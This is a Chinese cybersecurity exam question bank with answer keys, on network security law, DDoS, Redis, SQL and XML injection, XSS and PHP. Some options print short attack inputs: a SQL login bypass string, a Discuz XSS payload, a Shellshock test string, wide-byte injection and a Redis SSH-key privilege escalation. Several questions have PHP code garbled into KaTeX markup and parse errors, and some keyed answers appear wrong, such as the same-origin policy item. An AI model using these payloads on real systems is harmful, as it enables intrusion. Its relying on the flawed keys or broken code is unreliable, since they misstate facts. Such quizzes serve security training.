<p>D、 两项逐个处罚</p>
<p>标准答案： A</p>
<p>44、以下那组是网络安全法关于技术要素层面的安全规定？（）</p>
<p>A、 第64，67，68，70条</p>
<p>B、 第64，69，70，73条</p>
<p>C、 第60，62，65，75条</p>
<p>D、 第59，61，63，75条</p>
<p>标准答案： C</p>
<p>45、民法总则是第（）次对于数据与网络虚拟财产的法律属性进行规定。</p>
<p>A、 一</p>
<p>B、 二</p>
<p>C、 三</p>
<p>D、 四</p>
<p>标准答案： A</p>
<p>46、国家网信部门规定的重要规定有（）项。</p>
<p>A、 6</p>
<p>B、 7</p>
<p>C、 8</p>
<p>D、 9</p>
<p>标准答案： D</p>
<p>47、最高司法机关的规范文件共有（）项</p>
<p>A、 3</p>
<p>B、 4</p>
<p>C、 5</p>
<p>D、 6</p>
<p>标准答案： C</p>
<p>48、根据网信部规定，通讯工具开通公众账号必须满足（）的要求。</p>
<p>A、 缴费制</p>
<p>B、 公益制</p>
<p>C、 实名制</p>
<p>D、 守信制</p>
<p>标准答案： C</p>
<p>49、国家对于打击电信诈骗案的引发点是（）。</p>
<p>A、 雪梨枪案</p>
<p>B、 北京千万电信诈骗案</p>
<p>C、 8·19徐玉玉电信诈骗案</p>
<p>D、 K8社工库侵犯公民个人信息案</p>
<p>标准答案： C</p>
<p>50、对于贩卖公民通信记录等重要信息入罪门槛是（）条</p>
<p>A、 5000</p>
<p>B、 50000</p>
<p>C、 100000</p>
<p>D、 1000000</p>
<p>标准答案： A</p>
<p>1、通过____分析攻击事件能得到更准确的信息。</p>
<p>A、 文件修改时间</p>
<p>B、 IDS告警日志</p>
<p>C、 网站后门</p>
<p>D、 来源ip</p>
<p>标准答案： B</p>
<p>2、下列哪项不是针对内网入侵及告警分析的思路？</p>
<p>A、 基于IP的分析</p>
<p>B、 基于时间的分析</p>
<p>C、 基于告警级别的分析</p>
<p>D、 基于业务的分析</p>
<p>标准答案： D</p>
<p>3、下列哪项不属于DDOS的攻击方式？</p>
<p>A、 通过使网络过载来干扰甚至阻断正常的网络通讯</p>
<p>B、 通过向服务器提交大量请求，使服务器超负荷</p>
<p>C、 用户访问网站新功能</p>
<p>D、 通过向目标机发送ping包，造成网络堵塞或资源耗尽</p>
<p>标准答案： C</p>
<p>4、下列哪项不是JBoss的JAVA反序列化漏洞的防御方案？</p>
<p>A、 在源码中打入官方最新patch</p>
<p>B、 限定可以连接到JBoss的IP</p>
<p>C、 对JBoss专有用户，设置高权限</p>
<p>D、 在jmx-invoker-service.xml中开启权限验证</p>
<p>标准答案： C</p>
<p>5、下列哪项不能有效防御海量DDOS攻击？</p>
<p>A、 利用dns实现均衡，并加强dns自身防护能力</p>
<p>B、 4层负载均衡之前，构建ddos防护系统</p>
<p>C、 在4层与7层之间均实现HTTP Flood防护</p>
<p>D、 在用户请求过多时，限制所有用户请求</p>
<p>标准答案： D</p>
<p>6、下列哪项不是web应用中使用cookie会话机制可能造成的风险？</p>
<p>A、 会话劫持</p>
<p>B、 造成缓冲区溢出</p>
<p>C、 cookie注入</p>
<p>D、 信息泄露</p>
<p>标准答案： B</p>
<p>7、下列哪项不是Redis未授权访问缺陷解决方案？</p>
<p>A、 尽可能不对公网直接开放 SSH 服务</p>
<p>B、 在内网中使用简单的密码，方便测试</p>
<p>C、 对 redis 访问启用密码认证，并且添加 IP 访问限制和修改redis的默认端口6379</p>
<p>D、 禁止使用 root 权限启动 redis 服务</p>
<p>标准答案： B</p>
<p>8、下列哪项不是可移动终端程序可能受到的攻击？</p>
<p>A、 对用户数据请求进行加密</p>
<p>B、 拒绝服务：是合法用户无法获得资源</p>
<p>C、 破坏或修改数据</p>
<p>D、 泄露用户或主机的机密信息</p>
<p>标准答案： A</p>
<p>9、下列对于redis提权的说法错误的是？</p>
<p>A、 redis在root权限下运行，导致了可提权</p>
<p>B、 如果目标机ssh未启用公钥登录，则可能提权失败</p>
<p>C、 提权的过程是将redis公钥保存在redis的配置文件中，然后将配置文件保存在root目录下的.ssh目录，进而使用私钥登录进行root用户</p>
<p>D、 如果设置了redis的访问密码就不会有被提权风险</p>
<p>标准答案： D</p>
<p>10、下列关于TCP三次握手的描述错误的是？</p>
<p>A、 为了提供可靠的数据传输，所以需要三次握手协议</p>
<p>B、 tcp的数据传输是在完成了三次握手协议之后才开始的</p>
<p>C、 在三次握手协议中，服务器会维护一个队列，来维持每个客户端与服务器的三次握手协议的进行</p>
<p>D、 cc攻击就是利用了tcp三次握手协议来发起的一种DDOS攻击</p>
<p>标准答案： D</p>
<p>11、下面关于CC攻击的描述正确的是？</p>
<p>A、 频繁访问需要占用大量系统资源的服务，导致系统资源耗尽从而达到拒绝服务的目的</p>
<p>B、 利用服务应用本身缺陷导致程序崩溃停止服务</p>
<p>C、 利用网络协议本身的运作机制构造一场数据包，导致服务端口阻塞</p>
<p>D、 利用大带宽流量和海量连接数封堵服务端口</p>
<p>标准答案： A</p>
<p>12、下面对于synflood攻击的原理描述正确的是？</p>
<p>A、 频繁访问需要占用大量系统资源的服务，导致系统资源耗尽从而达到拒绝服务的目的</p>
<p>B、 利用服务应用本身缺陷导致程序崩溃停止服务</p>
<p>C、 利用tcp/ip协议的3次握手机制，伪造无效IP，造成服务器长期等待握手响应无法释放资源造成服务器拒绝服务</p>
<p>D、 利用大带宽流量和海量连接数封堵服务端口</p>
<p>标准答案： C</p>
<p>13、下列对于PHP防sql注入的方法描述错误的是？</p>
<p>A、 PHP的PDO技术，通过参数化查询将参数与查询语句分别执行，从根本上杜绝sql注入</p>
<p>B、 当设置magic_quotes_gpc=on的时候，PHP会对用户通过任何方式传来的所有参数进行Addslashes（）过滤</p>
<p>C、 Intval（）将变量转换成整形变量，对于数字型注入具有很好的防御效果</p>
<p>D、 Addslashes（），对参数进行单引号、双引号、反斜杠以及NULL进行转义</p>
<p>标准答案： B</p>
<p>14、下列对于MD5加密与解密的描述错误的是？</p>
<p>A、 MD5加密是不可逆的</p>
<p>B、 MD5可以用来加密数据，防止信息泄露，需要使用的时候可以解密获取</p>
<p>C、 MD5加密目前只能通过枚举法来破解</p>
<p>D、 MD5使用的是HASH算法，在计算过程中可能有部分信息丢失</p>
<p>标准答案： B</p>
<p>15、下列对于redis未授权访问漏洞的描述正确的是？</p>
<p>A、 redis系统默认弱口令，并且暴漏在公网上</p>
<p>B、 redis存在未授权访问漏洞，需要升级打补丁</p>
<p>C、 redis默认安装没有访问控制，需要修改配置文件启用访问限制并且设置密码</p>
<p>D、 操作系统漏洞，由于系统安全配置不当导致redis未授权访问</p>
<p>标准答案： C</p>
<p>16、白帽子，在没有经过厂商允许的前提下，进入目标主机并下载了大量敏感信息，没有使用敏感数据谋取财富，并且上交到漏洞响应平台，这样的行为是否违法？</p>
<p>A、 违法</p>
<p>B、 不违法</p>
<p>标准答案： A</p>
<p>17、Addslashes()函数不对____字符进行转义。</p>
<p>A、 单引号</p>
<p>B、 双引号</p>
<p>C、 NULL</p>
<p>D、 斜杠</p>
<p>标准答案： D</p>
<p>18、下列不属于MVC架构中视图的作用的是____。</p>
<p>A、 解释模型</p>
<p>B、 发送用户输入给控制器</p>
<p>C、 允许控制器选择视图</p>
<p>D、 选择响应的视图</p>
<p>标准答案： D</p>
<p>19、下列选项关于FTP（File Transfer Protocol）传输方向描述正确的是？</p>
<p>A、 单向传输</p>
<p>B、 双向传输</p>
<p>C、 多方向传输</p>
<p>标准答案： B</p>
<p>20、数据帧往出发送数据时，每帧长度超出____则需要切片。</p>
<p>A、 1000B</p>
<p>B、 1100B</p>
<p>C、 1300B</p>
<p>D、 1500B</p>
<p>标准答案： D</p>
<p>21、synflood(拒绝服务攻击)是基于____协议的。</p>
<p>A、 TCP</p>
<p>B、 UDP</p>
<p>C、 ICMP</p>
<p>D、 IGMP</p>
<p>标准答案： A</p>
<p>22、TCP中RST标志位置1，则表拒绝连接。</p>
<p>A、 正确</p>
<p>B、 错误</p>
<p>标准答案： A</p>
<p>23、下列不属于MVC架构中视图的作用的是？</p>
<p>A、 解释模型</p>
<p>B、 发送用户输入给控制器</p>
<p>C、 允许控制器选择视图</p>
<p>D、 选择响应的视图</p>
<p>标准答案： D</p>
<p>24、CMS通常情况下均基于MVC架构。</p>
<p>A、 正确</p>
<p>B、 错误</p>
<p>标准答案： A</p>
<p>25、下列选项中属于绕过签名验证机制的安卓漏洞是____。</p>
<p>A、 Stagefright漏洞</p>
<p>B、 WebView漏洞</p>
<p>C、 master key漏洞</p>
<p>D、 launchAnyWhere漏洞</p>
<p>标准答案： C</p>
<p>26、下列选项中不能提升密码强度的是____。</p>
<p>A、 不使用弱口令</p>
<p>B、 使用个人身份信息</p>
<p>C、 一定时间段必须更换密码</p>
<p>D、 尽可能增加密码复杂度（大小写字母、数字、特殊字符）</p>
<p>标准答案： B</p>
<p>27、RFID技术窃取银行卡中的信息不包括____。</p>
<p>A、 姓名</p>
<p>B、 身份证号码</p>
<p>C、 银行卡号码</p>
<p>D、 密码</p>
<p>标准答案： D</p>
<p>28、USIM和SIM卡最大的不同是____。</p>
<p>A、 保密信息</p>
<p>B、 IMSI</p>
<p>C、 序列号</p>
<p>D、 内存</p>
<p>标准答案： A</p>
<p>29、威胁情报中情报处理的手段不包括____。</p>
<p>A、 数据挖掘</p>
<p>B、 关联分析、机器学习</p>
<p>C、 情报统一存储</p>
<p>D、 可视化分析、专家分析</p>
<p>标准答案： C</p>
<p>30、云内安全挑战不包括____。</p>
<p>A、 云数据中心内部攻击防御困难</p>
<p>B、 云内性能处理优化</p>
<p>C、 云内部的流量及威胁防护困难</p>
<p>D、 安全的任意扩展、动态部署和迁移·</p>
<p>标准答案： B</p>
<p>31、云数据中的安全策略不包括____。</p>
<p>A、 交换机ACL、可信计算</p>
<p>B、 提高云数据中心的硬件性能</p>
<p>C、 云查杀</p>
<p>D、 云WAF</p>
<p>标准答案： B</p>
<p>32、下列对网络靶场理解不正确的是____。</p>
<p>A、 靶场内有真实个人数据</p>
<p>B、 是一个实验环境</p>
<p>C、 仿真真实网络的各种行为</p>
<p>D、 根据实战进行设计</p>
<p>标准答案： A</p>
<p>33、下列哪个是机器学习的常用算法?</p>
<p>A、 冒泡排序</p>
<p>B、 关联规则学习</p>
<p>C、 RSA算法</p>
<p>D、 DES算法</p>
<p>标准答案： B</p>
<p>34、白帽子开发的黑客工具在网络传播，被不法分子所利用，造成了严重的后果，那工具的开发者需要承担法律责任吗？</p>
<p>A、 不需要承担法律责任</p>
<p>B、 需要承担法律责任</p>
<p>标准答案： B</p>
<p>35、下列哪一项不是CSRF漏洞可能造成的风险?</p>
<p>A、 开启路由器远程管理功能</p>
<p>B、 信息泄露</p>
<p>C、 缓冲区溢出</p>
<p>D、 XSS攻击</p>
<p>标准答案： C</p>
<p>36、什么是拒绝服务攻击</p>
<p>A、 远程或本地正常的服务停止工作</p>
<p>B、 服务器卡机</p>
<p>C、 蓝屏</p>
<p>D、 网络正常使用</p>
<p>标准答案： A</p>
<p>37、那个协议需要验证并双方效验？</p>
<p>A、 ftps</p>
<p>B、 UDP/IP</p>
<p>C、 UDP</p>
<p>D、 TCP</p>
<p>标准答案： D</p>
<p>38、cc攻击使用的哪一个工具</p>
<p>A、 watch</p>
<p>B、 oclHashcat</p>
<p>C、 burp</p>
<p>D、 TCP/IP</p>
<p>标准答案： A</p>
<p>39、ipconfig /displaydns是什么指令</p>
<p>A、 可以看到机器当前DNS缓存列表</p>
<p>B、 可以看到机器当前IP列表</p>
<p>C、 查看跨域地址</p>
<p>D、 查看路由器地址</p>
<p>标准答案： A</p>
<p>40、还原.net代码混淆工具</p>
<p>A、 lLspy</p>
<p>B、 de4dot</p>
<p>C、 Reflector</p>
<p>D、 uedit32</p>
<p>标准答案： B</p>
<p>41、安卓系统最早起源来于?</p>
<p>A、 Linux</p>
<p>B、 JAVA</p>
<p>C、 C+</p>
<p>D、 .net</p>
<p>标准答案： A</p>
<p>42、4.3安卓系统WEbkit漏洞修补方法</p>
<p>A、 禁止访问</p>
<p>B、 删除代码</p>
<p>C、 关闭接口</p>
<p>D、 去掉空白字符</p>
<p>标准答案： D</p>
<p>43、DedeCMS5.7远程文件包含漏洞中存在变量覆盖漏洞的语句是</p>
<p>A、 foreach($$_trwurdy sd $_k =&gt; $_v) <span class="katex--inline"><span class="katex"><span class="katex-mathml">k = R u n M a g i c Q u o t e s ( _k = RunMagicQuotes(</span><span class="katex-html"><span class="base"><span class="mord"><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist"><span class=""><span class="sizing reset-size6 size3 mtight"><span class="mord mathit mtight">k</span></span></span></span><span class="vlist-s">​</span></span></span></span></span><span class="mrel">=</span></span><span class="base"><span class="mord mathit">R</span><span class="mord mathit">u</span><span class="mord mathit">n</span><span class="mord mathit">M</span><span class="mord mathit">a</span><span class="mord mathit">g</span><span class="mord mathit">i</span><span class="mord mathit">c</span><span class="mord mathit">Q</span><span class="mord mathit">u</span><span class="mord mathit">o</span><span class="mord mathit">t</span><span class="mord mathit">e</span><span class="mord mathit">s</span><span class="mopen">(</span></span></span></span></span>_v);</p>
<p>B、 foreach($$_trwurdy sd $_k =&gt; $_v) <span class="katex--inline"><span class="katex"><span class="katex-mathml">( (</span><span class="katex-html"><span class="base"><span class="mopen">(</span></span></span></span></span>_k) = RunMagicQuotes($_v);</p>
<p>C、 foreach($$_trwurdy sd $_k =&gt; $_v) <span class="katex--inline"><span class="katex"><span class="katex-mathml">[ [</span><span class="katex-html"><span class="base"><span class="mopen">[</span></span></span></span></span>_k] = RunMagicQuotes($_v);</p>
<p>D、 foreach($$_trwurdy sd $_k =&gt; $_v) <span class="katex--inline">KaTeX parse error: Expected &#8216;}&#8217;, got &#8216;EOF&#8217; at end of input: {</span>_k} = RunMagicQuotes($_v);</p>
<p>标准答案： D</p>
<p>44、文件包含分为本地文件包含和远程文件包含</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>45、Discuz使用了以下哪种标记语言？？（）</p>
<p>A、 Muse</p>
<p>B、 AsciiDoc</p>
<p>C、 BBCode</p>
<p>D、 Textile</p>
<p>标准答案： C</p>
<p>46、以下选项中，Discuz存储型DOM XSS攻击使用的payload正确的是？（）</p>
<p>A、 [align=οnmοuseοver=&#8221;alert(1)]</p>
<p>B、 [align=&#8221;οnmοuseοver=&#8221;alert(1)]</p>
<p>C、 [align=&#8221;οnmοuseοver=alert(1)]</p>
<p>D、 [align=&#8221;οnmοuseοver=“alert(1)”]</p>
<p>标准答案： B</p>
<p>47、通过告警日志分析攻击事件的基本技能不包括以下哪个选项？（）</p>
<p>A、 网络协议基础知识</p>
<p>B、 网站架构基础知识</p>
<p>C、 程序代码编写能力</p>
<p>D、 网站常见攻击手段</p>
<p>标准答案： C</p>
<p>48、御剑在进行后台探测时发送的HTTP请求方式是？（）</p>
<p>A、 POST</p>
<p>B、 HEAD</p>
<p>C、 GET</p>
<p>D、 OPTIONS</p>
<p>标准答案： B</p>
<p>49、告警信息原始报文中可以看到的信息不包括以下哪个选项？（）</p>
<p>A、 攻击者发送的HTTP请求</p>
<p>B、 服务器返回的响应信息</p>
<p>C、 服务器的网络拓扑结构</p>
<p>D、 攻击者使用的IP地址</p>
<p>标准答案： C</p>
<p>50、MYSQL远程登录成功会生成安全审计类告警信息。（）</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>1、Web程序中出现以下哪种情况能形成漏洞？（）</p>
<p>A、 可控变量进入正常函数</p>
<p>B、 可控变量进入危险函数</p>
<p>C、 不可控变量进入正常函数</p>
<p>D、 不可控变量进入危险函数</p>
<p>标准答案： B</p>
<p>2、以下哪个选项是SQL注入payload中#的作用？（）</p>
<p>A、 闭合前面sql语句</p>
<p>B、 闭合后面sql语句</p>
<p>C、 注释前面sql语句</p>
<p>D、 注释后面sql语句</p>
<p>标准答案： D</p>
<p>3、以下哪个选项是PHPCMS中存在SQL注入漏洞的字段？（）</p>
<p>A、 Accept</p>
<p>B、 Referer</p>
<p>C、 User-Agent</p>
<p>D、 X-Forwarded-For</p>
<p>标准答案： B</p>
<p>4、在PHPCMS SQL注入漏洞中构造的payload是使用的以下哪种方法？（）</p>
<p>A、 insert插入</p>
<p>B、 select查询</p>
<p>C、 group by报错</p>
<p>D、 update更新</p>
<p>标准答案： C</p>
<p>5、insert into语句一次不可以向数据库插入多条数据。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>6、SQL注入漏洞获取的HTTP_X_FORWARDED_FOR字段对应HTTP请求头中的哪个字段？（）</p>
<p>A、 Forwarded</p>
<p>B、 Forwarded_For</p>
<p>C、 X_Forwarded</p>
<p>D、 X_Forwarded_For</p>
<p>标准答案： D</p>
<p>7、在BlueCMS1.6 SQL注入漏洞中构造的payload是使用的以下哪种方法？（）</p>
<p>A、 闭合update语句，将敏感数据读取到页面中</p>
<p>B、 构造delete语句，将敏感数据读取到页面中</p>
<p>C、 闭合insert语句，将敏感数据插入到评论表</p>
<p>D、 构造union语句，将敏感数据插入到评论表</p>
<p>标准答案： C</p>
<p>8、XML注入漏洞字段HTTP_RAW_POST_DATA在以下哪种情况下会生成？（）</p>
<p>A、 POST发送可识别的MIME类型数据</p>
<p>B、 POST发送不可识别的MIME类型数据</p>
<p>C、 客户端发送GET请求</p>
<p>D、 客户端发送HEAD请求</p>
<p>标准答案： B</p>
<p>9、在xml中，CDATA区段的文本会被xml解析器忽略。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>10、PHPYun XML注入漏洞构造payload时使用的是哪个SQL关键词？（）</p>
<p>A、 update</p>
<p>B、 insert</p>
<p>C、 union</p>
<p>D、 delete</p>
<p>标准答案： C</p>
<p>11、需要如何修改HTTP请求才能触发XML注入漏洞？（）</p>
<p>A、 Content-Type:text/html;</p>
<p>B、 Content-Type:application/x-www-form-urlencoded;</p>
<p>C、 Content-Type:text/plain;</p>
<p>D、 Content-Type:text/xml;</p>
<p>标准答案： D</p>
<p>12、在Bash中哪个命令可以将局部变量变成全局变量？（）</p>
<p>A、 exec</p>
<p>B、 expand</p>
<p>C、 export</p>
<p>D、 expr</p>
<p>标准答案： C</p>
<p>13、存在远程命令执行漏洞的Bash中输入export v=’() { echo “X”;}; echo “Y”’;bash会输出X。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>14、以下选项中哪个PHP的函数可以执行系统命令？（）</p>
<p>A、 var_dump</p>
<p>B、 request</p>
<p>C、 system</p>
<p>D、 extract</p>
<p>标准答案： C</p>
<p>15、以下哪个PHP函数可以将数据写入文件？（）</p>
<p>A、 readfile</p>
<p>B、 fopen</p>
<p>C、 file_put_contents</p>
<p>D、 file_get_contents</p>
<p>标准答案： C</p>
<p>16、PHP中的extract函数的作用是从数组中将变量导入到当前的符号表。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>17、PHP执行eval(phpinfo())时，会返回什么信息？（）</p>
<p>A、 服务器网络配置信息</p>
<p>B、 服务器php配置信息</p>
<p>C、 服务器系统配置信息</p>
<p>D、 服务器硬件配置信息</p>
<p>标准答案： B</p>
<p>18、以下选项中哪种情况可以导致PHP代码执行漏洞？（）</p>
<p>A、 用户通过浏览器提交执行命令，客户端没有针对执行函数做过滤</p>
<p>B、 用户通过浏览器提交执行命令，客户端针对执行函数做过滤</p>
<p>C、 用户通过浏览器提交执行命令，服务器端针对执行函数做过滤</p>
<p>D、 用户通过浏览器提交执行命令，服务器端没有针对执行函数做过滤</p>
<p>标准答案： D</p>
<p>19、PHP代码执行漏洞可以调用system函数执行系统命令。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>20、PHP脚本&lt;?php echo preg_replace(&#8216;/\{\?([^}]+)\}/e&#8217;,&#8221;$1&#8243;,&#8221;{?md5(123)}&#8221;); ?&gt;会输出什么内容？（）</p>
<p>A、 ?md5(123)</p>
<p>B、 {?md5(123)}</p>
<p>C、 202cb962ac59075b964b07152d234b70</p>
<p>D、 {?md5(123)}</p>
<p>标准答案： C</p>
<p>21、Web目录下的upload/test.zip文件通过以下哪种链接可以下载？（）</p>
<p>A、 upload/…/test.zip</p>
<p>B、 upload/…/./test.zip</p>
<p>C、 config/…/upload/test.zip</p>
<p>D、 config/././upload/test.zip</p>
<p>标准答案： C</p>
<p>22、Windows平台下的Web目录下的test.php不能通过test.PhP访问。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>23、PHP执行函数strrpos(“I_love_php.php”,&#8221;.php&#8221;)会返回什么值？（）</p>
<p>A、 7</p>
<p>B、 8</p>
<p>C、 9</p>
<p>D、 10</p>
<p>标准答案： D</p>
<p>24、PHP执行函数strtolower(“PHP”)会返回什么值？（）</p>
<p>A、 php</p>
<p>B、 Php</p>
<p>C、 PHp</p>
<p>D、 PHP</p>
<p>标准答案： A</p>
<p>25、PHP执行<span class="katex--inline"><span class="katex"><span class="katex-mathml">t e = ( 1 + 2 ) ? 4 : 6 ; 之 后 , te=(1+2)?4:6;之后,</span><span class="katex-html"><span class="base"><span class="mord mathit">t</span><span class="mord mathit">e</span><span class="mrel">=</span></span><span class="base"><span class="mopen">(</span><span class="mord">1</span><span class="mbin">+</span></span><span class="base"><span class="mord">2</span><span class="mclose">)</span><span class="mclose">?</span><span class="mord">4</span><span class="mrel">:</span></span><span class="base"><span class="mord">6</span><span class="mpunct">;</span><span class="mord cjk_fallback">之</span><span class="mord cjk_fallback">后</span><span class="mpunct">,</span></span></span></span></span>te的值是什么？（）</p>
<p>A、 1</p>
<p>B、 2</p>
<p>C、 4</p>
<p>D、 6</p>
<p>标准答案： C</p>
<p>26、以下选项中对&#8221;multipart/form-data&#8221;的解释不正确的是？（）</p>
<p>A、 基础方法是post请求</p>
<p>B、 基础方法是get请求</p>
<p>C、 http协议本身的原始方法不支持multipart/form-data</p>
<p>D、 可用于文件上传时，设置表单的MIME类型</p>
<p>标准答案： B</p>
<p>27、以下哪个选项的内容可以替代SQL语句中的空格？（）</p>
<p>A、 /**/</p>
<p>B、 #</p>
<p>C、 –</p>
<p>D、 //</p>
<p>标准答案： A</p>
<p>28、PHP的addslashes函数的作用是什么？（）</p>
<p>A、 去除字符串中的预定义字符</p>
<p>B、 将字符串中的预定义字符之前添加反斜杠</p>
<p>C、 将字符串按照预定义字符进行分割</p>
<p>D、 将字符串中的预定义字符替换为空格</p>
<p>标准答案： B</p>
<p>29、mysql数据库使用utf-8字符集可能导致宽字节注入。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： B</p>
<p>30、%df’在以下哪种情况下能闭合单引号，形成宽字节注入？（）</p>
<p>A、 使用PHP的trim函数，字符集使用utf-8</p>
<p>B、 使用PHP的trim函数，字符集使用gbk</p>
<p>C、 使用PHP的addslashes函数，字符集使用utf-8</p>
<p>D、 使用PHP的addslashes函数，字符集使用gbk</p>
<p>标准答案： D</p>
<p>31、以下哪种方式可以防止宽字节注入？（）</p>
<p>A、 mysql_query(“set names gbk”)和addslashes()函数结合使用</p>
<p>B、 使用mysql_query(“set names gbk”)设置字符集</p>
<p>C、 mysql_set_charset(“gbk”)和mysql_real_escape_string()函数结合使用</p>
<p>D、 使用mysql_set_charset(“gbk”)设置字符集</p>
<p>标准答案： C</p>
<p>32、以下哪个选项对asp运算符的解释错误？（）</p>
<p>A、 ＜＞为不等于</p>
<p>B、 IS判断两个字符串是否相等</p>
<p>C、 XOR为&#8221;异或&#8221;运算</p>
<p>D、 OR为&#8221;或&#8221;运算</p>
<p>标准答案： B</p>
<p>33、SQL语句&#8221;select * from user where name=’&#8221;.<span class="katex--inline"><span class="katex"><span class="katex-mathml">n a m e . &amp;quot; ′ a n d p a s s = ′ &amp;quot; . name.&amp;quot;&amp;#x27; and pass=&amp;#x27;&amp;quot;.</span><span class="katex-html"><span class="base"><span class="mord mathit">n</span><span class="mord mathit">a</span><span class="mord mathit">m</span><span class="mord mathit">e</span><span class="mord">.</span><span class="mord">&#8220;<span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist"><span class=""><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mord mathit">a</span><span class="mord mathit">n</span><span class="mord mathit">d</span><span class="mord mathit">p</span><span class="mord mathit">a</span><span class="mord mathit">s</span><span class="mord mathit">s</span><span class="mrel">=<span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist"><span class=""><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="base"><span class="mord">&#8220;</span><span class="mord">.</span></span></span></span></span>pass.&#8221;’&#8221;如何绕过登录？（）</p>
<p>A、 $name设置值为admin’ and ‘1’=‘1’ $pass的值为123456</p>
<p>B、 $name设置值为admin’ and ‘1’=&#8217;1 $pass的值为123456</p>
<p>C、 $name设置值为admin’ or ‘1’=&#8217;1 $pass的值为123456</p>
<p>D、 $name设置值为admin’ or ‘1’=‘1’ $pass的值为123456</p>
<p>标准答案： C</p>
<p>34、以下选项中哪些措施不能防御CSRF攻击？（）</p>
<p>A、 使用一次性Token验证</p>
<p>B、 在HTTP头中自定义属性并验证</p>
<p>C、 全部操作使用POST传递数值</p>
<p>D、 使用复杂度高的验证码</p>
<p>标准答案： C</p>
<p>35、以下哪个函数是作为FLASH与宿主界面JavaScript通信的接口？（）</p>
<p>A、 External.call</p>
<p>B、 ExternalConfig.call</p>
<p>C、 ExternalInterface.call</p>
<p>D、 Externalrunning.call</p>
<p>标准答案： C</p>
<p>36、以下哪个选项的内容是JavaScript中的注释符？（）</p>
<p>A、 ~</p>
<p>B、 //</p>
<p>C、 *</p>
<p>D、 #!</p>
<p>标准答案： B</p>
<p>37、以下哪个选项对于反射型XSS的描述是错误的？（）</p>
<p>A、 可以结合CSRF来利用</p>
<p>B、 攻击代码存储在客户端</p>
<p>C、 攻击代码存储在服务端</p>
<p>D、 可以劫持用户访问链接</p>
<p>标准答案： C</p>
<p>38、以下哪个选项可以成功的设置Web应用浏览器端的Cookie值？（）</p>
<p>A、 在浏览器Console中输入document.cookie=“test=123456”</p>
<p>B、 在浏览器Console中输入document.cookie(“test=123456”)</p>
<p>C、 在浏览器地址栏中输入document.cookie=“test=123456”</p>
<p>D、 在浏览器地址栏中输入document.cookie(“test=123456”)</p>
<p>标准答案： A</p>
<p>39、技术流的完整提供测试不包含下面那一项？</p>
<p>A、 勘察探索</p>
<p>B、 监测捕获</p>
<p>C、 错误定位</p>
<p>D、 错误修复</p>
<p>标准答案： D</p>
<p>40、以下哪个选项不属于安全测试的流程？</p>
<p>A、 信息汇总</p>
<p>B、 交互测试</p>
<p>C、 审核验证</p>
<p>D、 项目交接</p>
<p>标准答案： D</p>
<p>41、软件开发安全生产解决方法不包含哪一项？</p>
<p>A、 溯源检测</p>
<p>B、 合规检测</p>
<p>C、 安全检测</p>
<p>D、 应急响应</p>
<p>标准答案： D</p>
<p>42、安全检测需要嵌入到软件开发流程中。</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>43、HTTPS的设计是可以避免下列哪种攻击？</p>
<p>A、 SQL注入攻击</p>
<p>B、 跨站脚本攻击</p>
<p>C、 中间人攻击</p>
<p>D、 暴力破解攻击</p>
<p>标准答案： C</p>
<p>44、同源策略不包含下面那一项？</p>
<p>A、 协议</p>
<p>B、 路径</p>
<p>C、 端口号</p>
<p>D、 域名</p>
<p>标准答案： A</p>
<p>45、哪些设置可以有效的避免cookie的完整性所带来的安全问题？</p>
<p>A、 Shared domain providers</p>
<p>B、 Website development/deployment</p>
<p>C、 Exploration of Cookie Policy Change</p>
<p>D、 HTTPS instead of HTTP</p>
<p>标准答案： D</p>
<p>46、App-web接口检测系统架构的组成包含哪些？</p>
<p>A、 Triggering</p>
<p>B、 Detection</p>
<p>C、 Provenance</p>
<p>D、 Counterattack</p>
<p>标准答案： D</p>
<p>47、App-web接口检测系统使用哪种方法识别APP上的广告？</p>
<p>A、 特征码</p>
<p>B、 接口扫描</p>
<p>C、 机器学习</p>
<p>D、 分类标识</p>
<p>标准答案： A</p>
<p>48、下面哪一项不属于浏览器的防护手段？</p>
<p>A、 沙盒</p>
<p>B、 隔离堆</p>
<p>C、 Httponly</p>
<p>D、 栈cookies</p>
<p>标准答案： C</p>
<p>49、Redis未授权漏洞的根本原因是运维人员安全意识薄弱</p>
<p>A、 对</p>
<p>B、 错</p>
<p>标准答案： A</p>
<p>50、如果服务端IP为192.168.1.1，下列哪项是使用命令手动连接Redis的正确方式?</p>
<p>A、 redis-cli 192.168.1.1</p>
<p>B、 Redis -cli 192.168.1.1</p>
<p>C、 redis cli 192.168.1.1</p>
<p>标准答案： A</p>
<hr />
<h4><a id="_20012"></a>二、多选题</h4>
<p>1、以下关于对称加密的说法正确的是？ ACD</p>
<p>A、</p>
<p>在对称加密中，只有一个密钥用来加密和解密信息</p>
<p>B、</p>
<p>在对称加密中，用到了二个密钥来加密和解密信息，分别是公共密钥和私用密钥</p>
<p>C、</p>
<p>对称加密是一个简单的过程，双方都必需完全相信对方，并持有这个密钥的备份</p>
<p>D、</p>
<p>对称加密的速度非常快，允许你加密大量的信息而只需要几秒钟</p>
<ol start="3">
<li></li>
</ol>
<p>Internet的影响越来越大，人们常把它与报纸、广播、电视等传统媒体相比较，称之为（</p>
<p>）。</p>
<p>A、第四媒体</p>
<p>B、交互媒体</p>
<p>C、全新媒体</p>
<p>D、交流媒体</p>
<ol start="4">
<li></li>
</ol>
<p>（4选2）网络按通信方式分类，可分为（</p>
<p>）。</p>
<p>A、点对点传输网络</p>
<p>B、广播式传输网络</p>
<p>C、数据传输网</p>
<p>D、对等式网络</p>
<ol start="5">
<li></li>
</ol>
